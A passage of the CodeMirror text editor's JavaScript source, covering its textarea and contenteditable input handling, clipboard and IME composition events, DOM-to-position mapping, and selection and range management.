if (eventInWidget(display, e) || signalDOMEvent(cm, e)) return;
cm.state.pasteIncoming = true;
input.focus();
});
// Prevent normal selection in the editor (we handle our own)
on(display.lineSpace, "selectstart", function(e) {
if (!eventInWidget(display, e)) e_preventDefault(e);
});
on(te, "compositionstart", function() {
var start = cm.getCursor("from");
if (input.composing) input.composing.range.clear()
input.composing = {
start: start,
range: cm.markText(start, cm.getCursor("to"), {className: "CodeMirror-composing"})
};
});
on(te, "compositionend", function() {
if (input.composing) {
input.poll();
input.composing.range.clear();
input.composing = null;
}
});
},
prepareSelection: function() {
// Redraw the selection and/or cursor
var cm = this.cm, display = cm.display, doc = cm.doc;
var result = prepareSelection(cm);
// Move the hidden textarea near the cursor to prevent scrolling artifacts
if (cm.options.moveInputWithCursor) {
var headPos = cursorCoords(cm, doc.sel.primary().head, "div");
var wrapOff = display.wrapper.getBoundingClientRect(), lineOff = display.lineDiv.getBoundingClientRect();
result.teTop = Math.max(0, Math.min(display.wrapper.clientHeight - 10,
headPos.top + lineOff.top - wrapOff.top));
result.teLeft = Math.max(0, Math.min(display.wrapper.clientWidth - 10,
headPos.left + lineOff.left - wrapOff.left));
}
return result;
},
showSelection: function(drawn) {
var cm = this.cm, display = cm.display;
removeChildrenAndAdd(display.cursorDiv, drawn.cursors);
removeChildrenAndAdd(display.selectionDiv, drawn.selection);
if (drawn.teTop != null) {
this.wrapper.style.top = drawn.teTop + "px";
this.wrapper.style.left = drawn.teLeft + "px";
}
},
// Reset the input to correspond to the selection (or to be empty,
// when not typing and nothing is selected)
reset: function(typing) {
if (this.contextMenuPending) return;
var minimal, selected, cm = this.cm, doc = cm.doc;
if (cm.somethingSelected()) {
this.prevInput = "";
var range = doc.sel.primary();
minimal = hasCopyEvent &&
(range.to().line - range.from().line > 100 || (selected = cm.getSelection()).length > 1000);
var content = minimal ? "-" : selected || cm.getSelection();
this.textarea.value = content;
if (cm.state.focused) selectInput(this.textarea);
if (ie && ie_version >= 9) this.hasSelection = content;
} else if (!typing) {
this.prevInput = this.textarea.value = "";
if (ie && ie_version >= 9) this.hasSelection = null;
}
this.inaccurateSelection = minimal;
},
getField: function() { return this.textarea; },
supportsTouch: function() { return false; },
focus: function() {
if (this.cm.options.readOnly != "nocursor" && (!mobile || activeElt() != this.textarea)) {
try { this.textarea.focus(); }
catch (e) {} // IE8 will throw if the textarea is display: none or not in DOM
}
},
blur: function() { this.textarea.blur(); },
resetPosition: function() {
this.wrapper.style.top = this.wrapper.style.left = 0;
},
receivedFocus: function() { this.slowPoll(); },
// Poll for input changes, using the normal rate of polling. This
// runs as long as the editor is focused.
slowPoll: function() {
var input = this;
if (input.pollingFast) return;
input.polling.set(this.cm.options.pollInterval, function() {
input.poll();
if (input.cm.state.focused) input.slowPoll();
});
},
// When an event has just come in that is likely to add or change
// something in the input textarea, we poll faster, to ensure that
// the change appears on the screen quickly.
fastPoll: function() {
var missed = false, input = this;
input.pollingFast = true;
function p() {
var changed = input.poll();
if (!changed && !missed) {missed = true; input.polling.set(60, p);}
else {input.pollingFast = false; input.slowPoll();}
}
input.polling.set(20, p);
},
// Read input from the textarea, and update the document to match.
// When something is selected, it is present in the textarea, and
// selected (unless it is huge, in which case a placeholder is
// used). When nothing is selected, the cursor sits after previously
// seen text (can be empty), which is stored in prevInput (we must
// not reset the textarea when typing, because that breaks IME).
poll: function() {
var cm = this.cm, input = this.textarea, prevInput = this.prevInput;
// Since this is called a *lot*, try to bail out as cheaply as
// possible when it is clear that nothing happened. hasSelection
// will be the case when there is a lot of text in the textarea,
// in which case reading its value would be expensive.
if (this.contextMenuPending || !cm.state.focused ||
(hasSelection(input) && !prevInput && !this.composing) ||
cm.isReadOnly() || cm.options.disableInput || cm.state.keySeq)
return false;
var text = input.value;
// If nothing changed, bail.
if (text == prevInput && !cm.somethingSelected()) return false;
// Work around nonsensical selection resetting in IE9/10, and
// inexplicable appearance of private area unicode characters on
// some key combos in Mac (#2689).
if (ie && ie_version >= 9 && this.hasSelection === text ||
mac && /[\uf700-\uf7ff]/.test(text)) {
cm.display.input.reset();
return false;
}
if (cm.doc.sel == cm.display.selForContextMenu) {
var first = text.charCodeAt(0);
if (first == 0x200b && !prevInput) prevInput = "\u200b";
if (first == 0x21da) { this.reset(); return this.cm.execCommand("undo"); }
}
// Find the part of the input that is actually new
var same = 0, l = Math.min(prevInput.length, text.length);
while (same < l && prevInput.charCodeAt(same) == text.charCodeAt(same)) ++same;
var self = this;
runInOp(cm, function() {
applyTextInput(cm, text.slice(same), prevInput.length - same,
null, self.composing ? "*compose" : null);
// Don't leave long text in the textarea, since it makes further polling slow
if (text.length > 1000 || text.indexOf("\n") > -1) input.value = self.prevInput = "";
else self.prevInput = text;
if (self.composing) {
self.composing.range.clear();
self.composing.range = cm.markText(self.composing.start, cm.getCursor("to"),
{className: "CodeMirror-composing"});
}
});
return true;
},
ensurePolled: function() {
if (this.pollingFast && this.poll()) this.pollingFast = false;
},
onKeyPress: function() {
if (ie && ie_version >= 9) this.hasSelection = null;
this.fastPoll();
},
onContextMenu: function(e) {
var input = this, cm = input.cm, display = cm.display, te = input.textarea;
var pos = posFromMouse(cm, e), scrollPos = display.scroller.scrollTop;
if (!pos || presto) return; // Opera is difficult.
// Reset the current text selection only if the click is done outside of the selection
// and 'resetSelectionOnContextMenu' option is true.
var reset = cm.options.resetSelectionOnContextMenu;
if (reset && cm.doc.sel.contains(pos) == -1)
operation(cm, setSelection)(cm.doc, simpleSelection(pos), sel_dontScroll);
var oldCSS = te.style.cssText, oldWrapperCSS = input.wrapper.style.cssText;
input.wrapper.style.cssText = "position: absolute"
var wrapperBox = input.wrapper.getBoundingClientRect()
te.style.cssText = "position: absolute; width: 30px; height: 30px; top: " + (e.clientY - wrapperBox.top - 5) +
"px; left: " + (e.clientX - wrapperBox.left - 5) + "px; z-index: 1000; background: " +
(ie ? "rgba(255, 255, 255, .05)" : "transparent") +
"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";
if (webkit) var oldScrollY = window.scrollY; // Work around Chrome issue (#2712)
display.input.focus();
if (webkit) window.scrollTo(null, oldScrollY);
display.input.reset();
// Adds "Select all" to context menu in FF
if (!cm.somethingSelected()) te.value = input.prevInput = " ";
input.contextMenuPending = true;
display.selForContextMenu = cm.doc.sel;
clearTimeout(display.detectingSelectAll);
// Select-all will be greyed out if there's nothing to select, so
// this adds a zero-width space so that we can later check whether
// it got selected.
function prepareSelectAllHack() {
if (te.selectionStart != null) {
var selected = cm.somethingSelected();
var extval = "\u200b" + (selected ? te.value : "");
te.value = "\u21da"; // Used to catch context-menu undo
te.value = extval;
input.prevInput = selected ? "" : "\u200b";
te.selectionStart = 1; te.selectionEnd = extval.length;
// Re-set this, in case some other handler touched the
// selection in the meantime.
display.selForContextMenu = cm.doc.sel;
}
}
function rehide() {
input.contextMenuPending = false;
input.wrapper.style.cssText = oldWrapperCSS
te.style.cssText = oldCSS;
if (ie && ie_version < 9) display.scrollbars.setScrollTop(display.scroller.scrollTop = scrollPos);
// Try to detect the user choosing select-all
if (te.selectionStart != null) {
if (!ie || (ie && ie_version < 9)) prepareSelectAllHack();
var i = 0, poll = function() {
if (display.selForContextMenu == cm.doc.sel && te.selectionStart == 0 &&
te.selectionEnd > 0 && input.prevInput == "\u200b")
operation(cm, commands.selectAll)(cm);
else if (i++ < 10) display.detectingSelectAll = setTimeout(poll, 500);
else display.input.reset();
};
display.detectingSelectAll = setTimeout(poll, 200);
}
}
if (ie && ie_version >= 9) prepareSelectAllHack();
if (captureRightClick) {
e_stop(e);
var mouseup = function() {
off(window, "mouseup", mouseup);
setTimeout(rehide, 20);
};
on(window, "mouseup", mouseup);
} else {
setTimeout(rehide, 50);
}
},
readOnlyChanged: function(val) {
if (!val) this.reset();
},
setUneditable: nothing,
needsContentAttribute: false
}, TextareaInput.prototype);
// CONTENTEDITABLE INPUT STYLE
function ContentEditableInput(cm) {
this.cm = cm;
this.lastAnchorNode = this.lastAnchorOffset = this.lastFocusNode = this.lastFocusOffset = null;
this.polling = new Delayed();
this.gracePeriod = false;
}
ContentEditableInput.prototype = copyObj({
init: function(display) {
var input = this, cm = input.cm;
var div = input.div = display.lineDiv;
disableBrowserMagic(div, cm.options.spellcheck);
on(div, "paste", function(e) {
if (signalDOMEvent(cm, e) || handlePaste(e, cm)) return
// IE doesn't fire input events, so we schedule a read for the pasted content in this way
if (ie_version <= 11) setTimeout(operation(cm, function() {
if (!input.pollContent()) regChange(cm);
}), 20)
})
on(div, "compositionstart", function(e) {
var data = e.data;
input.composing = {sel: cm.doc.sel, data: data, startData: data};
if (!data) return;
var prim = cm.doc.sel.primary();
var line = cm.getLine(prim.head.line);
var found = line.indexOf(data, Math.max(0, prim.head.ch - data.length));
if (found > -1 && found <= prim.head.ch)
input.composing.sel = simpleSelection(Pos(prim.head.line, found),
Pos(prim.head.line, found + data.length));
});
on(div, "compositionupdate", function(e) {
input.composing.data = e.data;
});
on(div, "compositionend", function(e) {
var ours = input.composing;
if (!ours) return;
if (e.data != ours.startData && !/\u200b/.test(e.data))
ours.data = e.data;
// Need a small delay to prevent other code (input event,
// selection polling) from doing damage when fired right after
// compositionend.
setTimeout(function() {
if (!ours.handled)
input.applyComposition(ours);
if (input.composing == ours)
input.composing = null;
}, 50);
});
on(div, "touchstart", function() {
input.forceCompositionEnd();
});
on(div, "input", function() {
if (input.composing) return;
if (cm.isReadOnly() || !input.pollContent())
runInOp(input.cm, function() {regChange(cm);});
});
function onCopyCut(e) {
if (signalDOMEvent(cm, e)) return
if (cm.somethingSelected()) {
lastCopied = {lineWise: false, text: cm.getSelections()};
if (e.type == "cut") cm.replaceSelection("", null, "cut");
} else if (!cm.options.lineWiseCopyCut) {
return;
} else {
var ranges = copyableRanges(cm);
lastCopied = {lineWise: true, text: ranges.text};
if (e.type == "cut") {
cm.operation(function() {
cm.setSelections(ranges.ranges, 0, sel_dontScroll);
cm.replaceSelection("", null, "cut");
});
}
}
if (e.clipboardData) {
e.clipboardData.clearData();
var content = lastCopied.text.join("\n")
// iOS exposes the clipboard API, but seems to discard content inserted into it
e.clipboardData.setData("Text", content);
if (e.clipboardData.getData("Text") == content) {
e.preventDefault();
return
}
}
// Old-fashioned briefly-focus-a-textarea hack
var kludge = hiddenTextarea(), te = kludge.firstChild;
cm.display.lineSpace.insertBefore(kludge, cm.display.lineSpace.firstChild);
te.value = lastCopied.text.join("\n");
var hadFocus = document.activeElement;
selectInput(te);
setTimeout(function() {
cm.display.lineSpace.removeChild(kludge);
hadFocus.focus();
if (hadFocus == div) input.showPrimarySelection()
}, 50);
}
on(div, "copy", onCopyCut);
on(div, "cut", onCopyCut);
},
prepareSelection: function() {
var result = prepareSelection(this.cm, false);
result.focus = this.cm.state.focused;
return result;
},
showSelection: function(info, takeFocus) {
if (!info || !this.cm.display.view.length) return;
if (info.focus || takeFocus) this.showPrimarySelection();
this.showMultipleSelections(info);
},
showPrimarySelection: function() {
var sel = window.getSelection(), prim = this.cm.doc.sel.primary();
var curAnchor = domToPos(this.cm, sel.anchorNode, sel.anchorOffset);
var curFocus = domToPos(this.cm, sel.focusNode, sel.focusOffset);
if (curAnchor && !curAnchor.bad && curFocus && !curFocus.bad &&
cmp(minPos(curAnchor, curFocus), prim.from()) == 0 &&
cmp(maxPos(curAnchor, curFocus), prim.to()) == 0)
return;
var start = posToDOM(this.cm, prim.from());
var end = posToDOM(this.cm, prim.to());
if (!start && !end) return;
var view = this.cm.display.view;
var old = sel.rangeCount && sel.getRangeAt(0);
if (!start) {
start = {node: view[0].measure.map[2], offset: 0};
} else if (!end) { // FIXME dangerously hacky
var measure = view[view.length - 1].measure;
var map = measure.maps ? measure.maps[measure.maps.length - 1] : measure.map;
end = {node: map[map.length - 1], offset: map[map.length - 2] - map[map.length - 3]};
}
try { var rng = range(start.node, start.offset, end.offset, end.node); }
catch(e) {} // Our model of the DOM might be outdated, in which case the range we try to set can be impossible
if (rng) {
if (!gecko && this.cm.state.focused) {
sel.collapse(start.node, start.offset);
if (!rng.collapsed) sel.addRange(rng);
} else {
sel.removeAllRanges();
sel.addRange(rng);
}
if (old && sel.anchorNode == null) sel.addRange(old);
else if (gecko) this.startGracePeriod();
}
this.rememberSelection();
},
startGracePeriod: function() {
var input = this;
clearTimeout(this.gracePeriod);
this.gracePeriod = setTimeout(function() {
input.gracePeriod = false;
if (input.selectionChanged())
input.cm.operation(function() { input.cm.curOp.selectionChanged = true; });
}, 20);
},
showMultipleSelections: function(info) {
removeChildrenAndAdd(this.cm.display.cursorDiv, info.cursors);
removeChildrenAndAdd(this.cm.display.selectionDiv, info.selection);
},
rememberSelection: function() {
var sel = window.getSelection();
this.lastAnchorNode = sel.anchorNode; this.lastAnchorOffset = sel.anchorOffset;
this.lastFocusNode = sel.focusNode; this.lastFocusOffset = sel.focusOffset;
},
selectionInEditor: function() {
var sel = window.getSelection();
if (!sel.rangeCount) return false;
var node = sel.getRangeAt(0).commonAncestorContainer;
return contains(this.div, node);
},
focus: function() {
if (this.cm.options.readOnly != "nocursor") this.div.focus();
},
blur: function() { this.div.blur(); },
getField: function() { return this.div; },
supportsTouch: function() { return true; },
receivedFocus: function() {
var input = this;
if (this.selectionInEditor())
this.pollSelection();
else
runInOp(this.cm, function() { input.cm.curOp.selectionChanged = true; });
function poll() {
if (input.cm.state.focused) {
input.pollSelection();
input.polling.set(input.cm.options.pollInterval, poll);
}
}
this.polling.set(this.cm.options.pollInterval, poll);
},
selectionChanged: function() {
var sel = window.getSelection();
return sel.anchorNode != this.lastAnchorNode || sel.anchorOffset != this.lastAnchorOffset ||
sel.focusNode != this.lastFocusNode || sel.focusOffset != this.lastFocusOffset;
},
pollSelection: function() {
if (!this.composing && !this.gracePeriod && this.selectionChanged()) {
var sel = window.getSelection(), cm = this.cm;
this.rememberSelection();
var anchor = domToPos(cm, sel.anchorNode, sel.anchorOffset);
var head = domToPos(cm, sel.focusNode, sel.focusOffset);
if (anchor && head) runInOp(cm, function() {
setSelection(cm.doc, simpleSelection(anchor, head), sel_dontScroll);
if (anchor.bad || head.bad) cm.curOp.selectionChanged = true;
});
}
},
pollContent: function() {
var cm = this.cm, display = cm.display, sel = cm.doc.sel.primary();
var from = sel.from(), to = sel.to();
if (from.line < display.viewFrom || to.line > display.viewTo - 1) return false;
var fromIndex;
if (from.line == display.viewFrom || (fromIndex = findViewIndex(cm, from.line)) == 0) {
var fromLine = lineNo(display.view[0].line);
var fromNode = display.view[0].node;
} else {
var fromLine = lineNo(display.view[fromIndex].line);
var fromNode = display.view[fromIndex - 1].node.nextSibling;
}
var toIndex = findViewIndex(cm, to.line);
if (toIndex == display.view.length - 1) {
var toLine = display.viewTo - 1;
var toNode = display.lineDiv.lastChild;
} else {
var toLine = lineNo(display.view[toIndex + 1].line) - 1;
var toNode = display.view[toIndex + 1].node.previousSibling;
}
var newText = cm.doc.splitLines(domTextBetween(cm, fromNode, toNode, fromLine, toLine));
var oldText = getBetween(cm.doc, Pos(fromLine, 0), Pos(toLine, getLine(cm.doc, toLine).text.length));
while (newText.length > 1 && oldText.length > 1) {
if (lst(newText) == lst(oldText)) { newText.pop(); oldText.pop(); toLine--; }
else if (newText[0] == oldText[0]) { newText.shift(); oldText.shift(); fromLine++; }
else break;
}
var cutFront = 0, cutEnd = 0;
var newTop = newText[0], oldTop = oldText[0], maxCutFront = Math.min(newTop.length, oldTop.length);
while (cutFront < maxCutFront && newTop.charCodeAt(cutFront) == oldTop.charCodeAt(cutFront))
++cutFront;
var newBot = lst(newText), oldBot = lst(oldText);
var maxCutEnd = Math.min(newBot.length - (newText.length == 1 ? cutFront : 0),
oldBot.length - (oldText.length == 1 ? cutFront : 0));
while (cutEnd < maxCutEnd &&
newBot.charCodeAt(newBot.length - cutEnd - 1) == oldBot.charCodeAt(oldBot.length - cutEnd - 1))
++cutEnd;
newText[newText.length - 1] = newBot.slice(0, newBot.length - cutEnd);
newText[0] = newText[0].slice(cutFront);
var chFrom = Pos(fromLine, cutFront);
var chTo = Pos(toLine, oldText.length ? lst(oldText).length - cutEnd : 0);
if (newText.length > 1 || newText[0] || cmp(chFrom, chTo)) {
replaceRange(cm.doc, newText, chFrom, chTo, "+input");
return true;
}
},
ensurePolled: function() {
this.forceCompositionEnd();
},
reset: function() {
this.forceCompositionEnd();
},
forceCompositionEnd: function() {
if (!this.composing || this.composing.handled) return;
this.applyComposition(this.composing);
this.composing.handled = true;
this.div.blur();
this.div.focus();
},
applyComposition: function(composing) {
if (this.cm.isReadOnly())
operation(this.cm, regChange)(this.cm)
else if (composing.data && composing.data != composing.startData)
operation(this.cm, applyTextInput)(this.cm, composing.data, 0, composing.sel);
},
setUneditable: function(node) {
node.contentEditable = "false"
},
onKeyPress: function(e) {
e.preventDefault();
if (!this.cm.isReadOnly())
operation(this.cm, applyTextInput)(this.cm, String.fromCharCode(e.charCode == null ? e.keyCode : e.charCode), 0);
},
readOnlyChanged: function(val) {
this.div.contentEditable = String(val != "nocursor")
},
onContextMenu: nothing,
resetPosition: nothing,
needsContentAttribute: true
}, ContentEditableInput.prototype);
function posToDOM(cm, pos) {
var view = findViewForLine(cm, pos.line);
if (!view || view.hidden) return null;
var line = getLine(cm.doc, pos.line);
var info = mapFromLineView(view, line, pos.line);
var order = getOrder(line), side = "left";
if (order) {
var partPos = getBidiPartAt(order, pos.ch);
side = partPos % 2 ? "right" : "left";
}
var result = nodeAndOffsetInLineMap(info.map, pos.ch, side);
result.offset = result.collapse == "right" ? result.end : result.start;
return result;
}
function badPos(pos, bad) { if (bad) pos.bad = true; return pos; }
function domToPos(cm, node, offset) {
var lineNode;
if (node == cm.display.lineDiv) {
lineNode = cm.display.lineDiv.childNodes[offset];
if (!lineNode) return badPos(cm.clipPos(Pos(cm.display.viewTo - 1)), true);
node = null; offset = 0;
} else {
for (lineNode = node;; lineNode = lineNode.parentNode) {
if (!lineNode || lineNode == cm.display.lineDiv) return null;
if (lineNode.parentNode && lineNode.parentNode == cm.display.lineDiv) break;
}
}
for (var i = 0; i < cm.display.view.length; i++) {
var lineView = cm.display.view[i];
if (lineView.node == lineNode)
return locateNodeInLineView(lineView, node, offset);
}
}
function locateNodeInLineView(lineView, node, offset) {
var wrapper = lineView.text.firstChild, bad = false;
if (!node || !contains(wrapper, node)) return badPos(Pos(lineNo(lineView.line), 0), true);
if (node == wrapper) {
bad = true;
node = wrapper.childNodes[offset];
offset = 0;
if (!node) {
var line = lineView.rest ? lst(lineView.rest) : lineView.line;
return badPos(Pos(lineNo(line), line.text.length), bad);
}
}
var textNode = node.nodeType == 3 ? node : null, topNode = node;
if (!textNode && node.childNodes.length == 1 && node.firstChild.nodeType == 3) {
textNode = node.firstChild;
if (offset) offset = textNode.nodeValue.length;
}
while (topNode.parentNode != wrapper) topNode = topNode.parentNode;
var measure = lineView.measure, maps = measure.maps;
function find(textNode, topNode, offset) {
for (var i = -1; i < (maps ? maps.length : 0); i++) {
var map = i < 0 ? measure.map : maps[i];
for (var j = 0; j < map.length; j += 3) {
var curNode = map[j + 2];
if (curNode == textNode || curNode == topNode) {
var line = lineNo(i < 0 ? lineView.line : lineView.rest[i]);
var ch = map[j] + offset;
if (offset < 0 || curNode != textNode) ch = map[j + (offset ? 1 : 0)];
return Pos(line, ch);
}
}
}
}
var found = find(textNode, topNode, offset);
if (found) return badPos(found, bad);
// FIXME this is all really shaky. might handle the few cases it needs to handle, but likely to cause problems
for (var after = topNode.nextSibling, dist = textNode ? textNode.nodeValue.length - offset : 0; after; after = after.nextSibling) {
found = find(after, after.firstChild, 0);
if (found)
return badPos(Pos(found.line, found.ch - dist), bad);
else
dist += after.textContent.length;
}
for (var before = topNode.previousSibling, dist = offset; before; before = before.previousSibling) {
found = find(before, before.firstChild, -1);
if (found)
return badPos(Pos(found.line, found.ch + dist), bad);
else
dist += before.textContent.length;
}
}
function domTextBetween(cm, from, to, fromLine, toLine) {
var text = "", closing = false, lineSep = cm.doc.lineSeparator();
function recognizeMarker(id) { return function(marker) { return marker.id == id; }; }
function walk(node) {
if (node.nodeType == 1) {
var cmText = node.getAttribute("cm-text");
if (cmText != null) {
if (cmText == "") cmText = node.textContent.replace(/\u200b/g, "");
text += cmText;
return;
}
var markerID = node.getAttribute("cm-marker"), range;
if (markerID) {
var found = cm.findMarks(Pos(fromLine, 0), Pos(toLine + 1, 0), recognizeMarker(+markerID));
if (found.length && (range = found[0].find()))
text += getBetween(cm.doc, range.from, range.to).join(lineSep);
return;
}
if (node.getAttribute("contenteditable") == "false") return;
for (var i = 0; i < node.childNodes.length; i++)
walk(node.childNodes[i]);
if (/^(pre|div|p)$/i.test(node.nodeName))
closing = true;
} else if (node.nodeType == 3) {
var val = node.nodeValue;
if (!val) return;
if (closing) {
text += lineSep;
closing = false;
}
text += val;
}
}
for (;;) {
walk(from);
if (from == to) break;
from = from.nextSibling;
}
return text;
}
CodeMirror.inputStyles = {"textarea": TextareaInput, "contenteditable": ContentEditableInput};
// SELECTION / CURSOR
// Selection objects are immutable. A new one is created every time
// the selection changes. A selection is one or more non-overlapping
// (and non-touching) ranges, sorted, and an integer that indicates
// which one is the primary selection (the one that's scrolled into
// view, that getCursor returns, etc).
function Selection(ranges, primIndex) {
this.ranges = ranges;
this.primIndex = primIndex;
}
Selection.prototype = {
primary: function() { return this.ranges[this.primIndex]; },
equals: function(other) {
if (other == this) return true;
if (other.primIndex != this.primIndex || other.ranges.length != this.ranges.length) return false;
for (var i = 0; i < this.ranges.length; i++) {
var here = this.ranges[i], there = other.ranges[i];
if (cmp(here.anchor, there.anchor) != 0 || cmp(here.head, there.head) != 0) return false;
}
return true;
},
deepCopy: function() {
for (var out = [], i = 0; i < this.ranges.length; i++)
out[i] = new Range(copyPos(this.ranges[i].anchor), copyPos(this.ranges[i].head));
return new Selection(out, this.primIndex);
},
somethingSelected: function() {
for (var i = 0; i < this.ranges.length; i++)
if (!this.ranges[i].empty()) return true;
return false;
},
contains: function(pos, end) {
if (!end) end = pos;
for (var i = 0; i < this.ranges.length; i++) {
var range = this.ranges[i];
if (cmp(end, range.from()) >= 0 && cmp(pos, range.to()) <= 0)
return i;
}
return -1;
}
};
function Range(anchor, head) {
this.anchor = anchor; this.head = head;
}
Range.prototype = {
from: function() { return minPos(this.anchor, this.head); },
to: function() { return maxPos(this.anchor, this.head); },
empty: function() {
return this.head.line == this.anchor.line && this.head.ch == this.anchor.ch;
}
};
// Take an unsorted, potentially overlapping set of ranges, and
// build a selection out of it. 'Consumes' ranges array (modifying
// it).
function normalizeSelection(ranges, primIndex) {
var prim = ranges[primIndex];
ranges.sort(function(a, b) { return cmp(a.from(), b.from()); });
primIndex = indexOf(ranges, prim);
for (var i = 1; i < ranges.length; i++) {
var cur = ranges[i], prev = ranges[i - 1];
if (cmp(prev.to(), cur.from()) >= 0) {
var from = minPos(prev.from(), cur.from()), to = maxPos(prev.to(), cur.to());
var inv = prev.empty() ? cur.from() == cur.head : prev.from() == prev.head;
if (i <= primIndex) --primIndex;
ranges.splice(--i, 2, new Range(inv ? to : from, inv ? from : to));
}
}
return new Selection(ranges, primIndex);
}
function simpleSelection(anchor, head) {
return new Selection([new Range(anchor, head || anchor)], 0);
}
// Most of the external API clips given positions to make sure they
// actually exist within the document.
function clipLine(doc, n) {return Math.max(doc.first, Math.min(n, doc.first + doc.size - 1));}
function clipPos(doc, pos) {
if (pos.line < doc.first) return Pos(doc.first, 0);
var last = doc.first + doc.size - 1;
if (pos.line > last) return Pos(last, getLine(doc, last).text.length);
return clipToLen(pos, getLine(doc, pos.line).text.length);
}
function clipToLen(pos, linelen) {
var ch = pos.ch;
if (ch == null || ch > linelen) return Pos(pos.line, linelen);
else if (ch < 0) return Pos(pos.line, 0);
else return pos;
}
function isLine(doc, l) {return l >= doc.first && l < doc.first + doc.size;}
function clipPosArray(doc, array) {
for (var out = [], i = 0; i < array.length; i++) out[i] = clipPos(doc, array[i]);
return out;
}
// SELECTION UPDATES
// The 'scroll' parameter given to many of these indicated whether
// the new cursor position should be scrolled into view after
// modifying the selection.
// If shift is held or the extend flag is set, extends a range to
// include a given position (and optionally a second position).
// Otherwise, simply returns the range between the given positions.
// Used for cursor motion and such.
function extendRange(doc, range, head, other) {
if (doc.cm && doc.cm.display.shift || doc.extend) {
var anchor = range.anchor;
if (other) {
var posBefore = cmp(head, anchor) < 0;
if (posBefore != (cmp(other, anchor) < 0)) {
anchor = head;
head = other;
} else if (posBefore != (cmp(head, other) < 0)) {
head = other;
}
}
return new Range(anchor, head);
} else {
return new Range(other || head, head);
}
}
// Extend the primary selection range, discard the rest.
function extendSelection(doc, head, other, options) {
setSelection(doc, new Selection([extendRange(doc, doc.sel.primary(), head, other)], 0), options);
}
// Extend all selections (pos is an array of selections with length
// equal the number of selections)
function extendSelections(doc, heads, options) {
for (var out = [], i = 0; i < doc.sel.ranges.length; i++)
out[i] = extendRange(doc, doc.sel.ranges[i], heads[i], null);
var newSel = normalizeSelection(out, doc.sel.primIndex);
setSelection(doc, newSel, options);
}
// Updates a single range in the selection.
function replaceOneSelection(doc, i, range, options) {
var ranges = doc.sel.ranges.slice(0);
ranges[i] = range;
setSelection(doc, normalizeSelection(ranges, doc.sel.primIndex), options);
}
// Reset the selection to a single range.
function setSimpleSelection(doc, anchor, head, options) {
setSelection(doc, simpleSelection(anchor, head), options);
}
// Give beforeSelectionChange handlers a change to influence a
// selection update.
function filterSelectionChange(doc, sel, options) {
var obj = {
ranges: sel.ranges,
update: function(ranges) {
this.ranges = [];
for (var i = 0; i < ranges.length; i++)
this.ranges[i] = new Range(clipPos(doc, ranges[i].anchor),
clipPos(doc, ranges[i].head));
},
origin: options && options.origin
};
signal(doc, "beforeSelectionChange", doc, obj);
if (doc.cm) signal(doc.cm, "beforeSelectionChange", doc.cm, obj);
if (obj.ranges != sel.ranges) return normalizeSelection(obj.ranges, obj.ranges.length - 1);
else return sel;
}
function setSelectionReplaceHistory(doc, sel, options) {
var done = doc.history.done, last = lst(done);
if (last && last.ranges) {
done[done.length - 1] = sel;
setSelectionNoUndo(doc, sel, options);
} else {
setSelection(doc, sel, options);
}
}
// Set a new selection.
function setSelection(doc, sel, options) {
setSelectionNoUndo(doc, sel, options);
addSelectionToHistory(doc, doc.sel, doc.cm ? doc.cm.curOp.id : NaN, options);
}
function setSelectionNoUndo(doc, sel, options) {
if (hasHandler(doc, "beforeSelectionChange") || doc.cm && hasHandler(doc.cm, "beforeSelectionChange"))
sel = filterSelectionChange(doc, sel, options);
var bias = options && options.bias ||
(cmp(sel.primary().head, doc.sel.primary().head) < 0 ? -1 : 1);
setSelectionInner(doc, skipAtomicInSelection(doc, sel, bias, true));
if (!(options && options.scroll === false) && doc.cm)
ensureCursorVisible(doc.cm);
}
function setSelectionInner(doc, sel) {
if (sel.equals(doc.sel)) return;
doc.sel = sel;
if (doc.cm) {
doc.cm.curOp.updateInput = doc.cm.curOp.selectionChanged = true;
signalCursorActivity(doc.cm);
}
signalLater(doc, "cursorActivity", doc);
}
// Verify that the selection does not partially select any atomic
// marked ranges.
function reCheckSelection(doc) {
setSelectionInner(doc, skipAtomicInSelection(doc, doc.sel, null, false), sel_dontScroll);
}
// Return a selection that does not partially select any atomic
// ranges.
function skipAtomicInSelection(doc, sel, bias, mayClear) {
var out;
for (var i = 0; i < sel.ranges.length; i++) {
var range = sel.ranges[i];
var old = sel.ranges.length == doc.sel.ranges.length && doc.sel.ranges[i];
var newAnchor = skipAtomic(doc, range.anchor, old && old.anchor, bias, mayClear);
var newHead = skipAtomic(doc, range.head, old && old.head, bias, mayClear);
if (out || newAnchor != range.anchor || newHead != range.head) {
if (!out) out = sel.ranges.slice(0, i);
out[i] = new Range(newAnchor, newHead);
}
}
return out ? normalizeSelection(out, sel.primIndex) : sel;
}
function skipAtomicInner(doc, pos, oldPos, dir, mayClear) {
var line = getLine(doc, pos.line);
if (line.markedSpans) for (var i = 0; i < line.markedSpans.length; ++i) {
var sp = line.markedSpans[i], m = sp.marker;
if ((sp.from == null || (m.inclusiveLeft ? sp.from <= pos.ch : sp.from < pos.ch)) &&
(sp.to == null || (m.inclusiveRight ? sp.to >= pos.ch : sp.to > pos.ch))) {
if (mayClear) {
signal(m, "beforeCursorEnter");
if (m.explicitlyCleared) {
if (!line.markedSpans) break;
else {--i; continue;}
}
}
if (!m.atomic) continue;
if (oldPos) {
var near = m.find(dir < 0 ? 1 : -1), diff;
if (dir < 0 ? m.inclusiveRight : m.inclusiveLeft)
near = movePos(doc, near, -dir, near && near.line == pos.line ? line : null);
if (near && near.line == pos.line && (diff = cmp(near, oldPos)) && (dir < 0 ? diff < 0 : diff > 0))
return skipAtomicInner(doc, near, pos, dir, mayClear);
}
var far = m.find(dir < 0 ? -1 : 1);
if (dir < 0 ? m.inclusiveLeft : m.inclusiveRight)
far = movePos(doc, far, dir, far.line == pos.line ? line : null);
return far ? skipAtomicInner(doc, far, pos, dir, mayClear) : null;
}
}
return pos;
}
// Ensure a given position is not inside an atomic range.
function skipAtomic(doc, pos, oldPos, bias, mayClear) {
var dir = bias || 1;
var found = skipAtomicInner(doc, pos, oldPos, dir, mayClear) ||
(!mayClear && skipAtomicInner(doc, pos, oldPos, dir, true)) ||
skipAtomicInner(doc, pos, oldPos, -dir, mayClear) ||
(!mayClear && skipAtomicInner(doc, pos, oldPos, -dir, true));
if (!found) {
doc.cantEdit = true;
return Pos(doc.first, 0);
}
return found;
}
function movePos(doc, pos, dir, line) {
if (dir < 0 && pos.ch == 0) {
if (pos.line > doc.first) return clipPos(doc, Pos(pos.line - 1));
else return null;
} else if (dir > 0 && pos.ch == (line || getLine(doc, pos.line)).text.length) {
